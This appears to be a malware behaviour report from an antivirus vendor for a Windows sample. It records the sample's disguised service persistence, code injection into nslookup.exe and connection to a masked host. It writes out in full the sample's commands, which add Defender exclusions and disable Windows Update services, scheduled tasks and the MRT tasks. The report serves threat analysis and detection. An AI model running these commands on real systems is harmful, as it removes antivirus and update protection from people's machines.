Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\CheckUpdateSvc_a47d] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\CheckUpdateSvc_a47d] 'ImagePath' = '%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\wgvndsugwi] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\fakehgmkmc] 'ImagePath' = '<SYSTEM32>\svchost.exe -k wusvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\ijknxorxtg] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\lseckvflgb] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\wkcpbmfylq] 'ImagePath' = '<SYSTEM32>\svchost.exe -k NetworkService -p'
Creates the following services
- 'CheckUpdateSvc_a47d' %ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:UserProfile -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:ProgramData -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:TEMP -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.sys' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
Injects code into
the following system processes:
- <SYSTEM32>\nslookup.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\common\microsoft\temp\ac5f54ab\coreguardmgr3586.exe
- %WINDIR%\temp\__psscriptpolicytest_ifgfjj5r.ptv.ps1
- %WINDIR%\temp\__psscriptpolicytest_voofpcec.zu4.psm1
- %WINDIR%\temp\__psscriptpolicytest_0jznky0o.v3d.ps1
- %WINDIR%\temp\__psscriptpolicytest_nmvc4eae.ykq.psm1
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_retrpmy2.oip.ps1
- %WINDIR%\temp\__psscriptpolicytest_2jypsoor.vif.psm1
- %WINDIR%\temp\__psscriptpolicytest_zetydiyj.a0i.ps1
- %WINDIR%\temp\__psscriptpolicytest_isgcrwqm.rlx.psm1
- %WINDIR%\temp\__psscriptpolicytest_ntsnockl.p04.ps1
- %WINDIR%\temp\__psscriptpolicytest_ezlwanyp.c3j.psm1
- %WINDIR%\temp\__psscriptpolicytest_xt1izehx.j1k.ps1
- %WINDIR%\temp\__psscriptpolicytest_lwwtkj55.4oh.psm1
- %WINDIR%\temp\__psscriptpolicytest_qeldaxcg.co2.ps1
- %WINDIR%\temp\__psscriptpolicytest_3nnfzsq4.evn.psm1
- %WINDIR%\temp\__psscriptpolicytest_2ecoztq2.doc.ps1
- %WINDIR%\temp\__psscriptpolicytest_52jt5wup.kdk.psm1
- %WINDIR%\temp\__psscriptpolicytest_tz241kgb.04r.ps1
- %WINDIR%\temp\__psscriptpolicytest_xnmg4hbk.gei.psm1
- %WINDIR%\temp\__psscriptpolicytest_aabiaotr.rdc.ps1
- %WINDIR%\temp\__psscriptpolicytest_1vund1q5.yaj.psm1
- %WINDIR%\temp\__psscriptpolicytest_ouar1c04.1yh.ps1
- %WINDIR%\temp\__psscriptpolicytest_v0yhyhfo.e30.psm1
- %WINDIR%\temp\__psscriptpolicytest_0lyaf0g5.k01.ps1
- %WINDIR%\temp\__psscriptpolicytest_5hjp1uig.it2.psm1
- %WINDIR%\temp\__psscriptpolicytest_oileepbk.3pa.ps1
- %WINDIR%\temp\__psscriptpolicytest_srx0snur.h0s.psm1
- %WINDIR%\temp\__psscriptpolicytest_3xgqdapx.qh0.ps1
- %WINDIR%\temp\__psscriptpolicytest_dycs5wec.0ia.psm1
- %WINDIR%\temp\__psscriptpolicytest_pyf43zci.r1i.ps1
- %WINDIR%\temp\__psscriptpolicytest_mkyibqbq.duo.psm1
- %WINDIR%\temp\__psscriptpolicytest_fuwwqb45.ul4.ps1
- %WINDIR%\temp\__psscriptpolicytest_lvniiilo.w0r.psm1
- %WINDIR%\temp\pvdhnnxg.sys
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_ifgfjj5r.ptv.ps1
- %WINDIR%\temp\__psscriptpolicytest_voofpcec.zu4.psm1
- %WINDIR%\temp\__psscriptpolicytest_0jznky0o.v3d.ps1
- %WINDIR%\temp\__psscriptpolicytest_nmvc4eae.ykq.psm1
- %WINDIR%\temp\__psscriptpolicytest_retrpmy2.oip.ps1
- %WINDIR%\temp\__psscriptpolicytest_2jypsoor.vif.psm1
- %WINDIR%\temp\__psscriptpolicytest_zetydiyj.a0i.ps1
- %WINDIR%\temp\__psscriptpolicytest_isgcrwqm.rlx.psm1
- %WINDIR%\temp\__psscriptpolicytest_ntsnockl.p04.ps1
- %WINDIR%\temp\__psscriptpolicytest_ezlwanyp.c3j.psm1
- %WINDIR%\temp\__psscriptpolicytest_xt1izehx.j1k.ps1
- %WINDIR%\temp\__psscriptpolicytest_lwwtkj55.4oh.psm1
- %WINDIR%\temp\__psscriptpolicytest_qeldaxcg.co2.ps1
- %WINDIR%\temp\__psscriptpolicytest_3nnfzsq4.evn.psm1
- %WINDIR%\temp\__psscriptpolicytest_2ecoztq2.doc.ps1
- %WINDIR%\temp\__psscriptpolicytest_52jt5wup.kdk.psm1
- %WINDIR%\temp\__psscriptpolicytest_tz241kgb.04r.ps1
- %WINDIR%\temp\__psscriptpolicytest_xnmg4hbk.gei.psm1
- %WINDIR%\temp\__psscriptpolicytest_aabiaotr.rdc.ps1
- %WINDIR%\temp\__psscriptpolicytest_1vund1q5.yaj.psm1
- %WINDIR%\temp\__psscriptpolicytest_ouar1c04.1yh.ps1
- %WINDIR%\temp\__psscriptpolicytest_v0yhyhfo.e30.psm1
- %WINDIR%\temp\__psscriptpolicytest_0lyaf0g5.k01.ps1
- %WINDIR%\temp\__psscriptpolicytest_5hjp1uig.it2.psm1
- %WINDIR%\temp\__psscriptpolicytest_oileepbk.3pa.ps1
- %WINDIR%\temp\__psscriptpolicytest_srx0snur.h0s.psm1
- %WINDIR%\temp\__psscriptpolicytest_3xgqdapx.qh0.ps1
- %WINDIR%\temp\__psscriptpolicytest_dycs5wec.0ia.psm1
- %WINDIR%\temp\__psscriptpolicytest_pyf43zci.r1i.ps1
- %WINDIR%\temp\__psscriptpolicytest_mkyibqbq.duo.psm1
- %WINDIR%\temp\__psscriptpolicytest_fuwwqb45.ul4.ps1
- %WINDIR%\temp\__psscriptpolicytest_lvniiilo.w0r.psm1
Moves itself
- from <Full path to file> to \:u
Network activity
Connects to
- 'ma###.#pc.sentio.xyz':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?45##############
Other
- 'ma###.#pc.sentio.xyz':443
UDP
- DNS ASK ma###.#pc.sentio.xyz
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\common\microsoft\temp\ac5f54ab\coreguardmgr3586.exe'
Executes the following
- '<SYSTEM32>\sc.exe' delete "CheckUpdateSvc_a47d"
- '<SYSTEM32>\sc.exe' create "CheckUpdateSvc_a47d" binpath= "%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe" start= "auto"
- '<SYSTEM32>\sc.exe' start "CheckUpdateSvc_a47d"
- '<SYSTEM32>\nslookup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O...
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\wgvndsugwi" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\fakehgmkmc" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\ijknxorxtg" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\sc.exe' config BITS start= disabled
- '<SYSTEM32>\sc.exe' stop BITS
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\lseckvflgb" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\wkcpbmfylq" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
- '<SYSTEM32>\svchost.exe'
- '<SYSTEM32>\sc.exe' delete "CheckUpdateSvc_a47d"' (with hidden window)
- '<SYSTEM32>\sc.exe' create "CheckUpdateSvc_a47d" binpath= "%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe" start= "auto"' (with hidden window)
- '<SYSTEM32>\sc.exe' start "CheckUpdateSvc_a47d"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:UserProfile -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:ProgramData -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:TEMP -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.exe' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.sys' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'svchost.exe' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O...' (with hidden window)
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc' (with hidden window)
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop UsoSvc' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\wgvndsugwi" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\fakehgmkmc" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop wuauserv' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\ijknxorxtg" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config BITS start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop BITS' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\lseckvflgb" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config dosvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop dosvc' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\wkcpbmfylq" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable' (with hidden window)
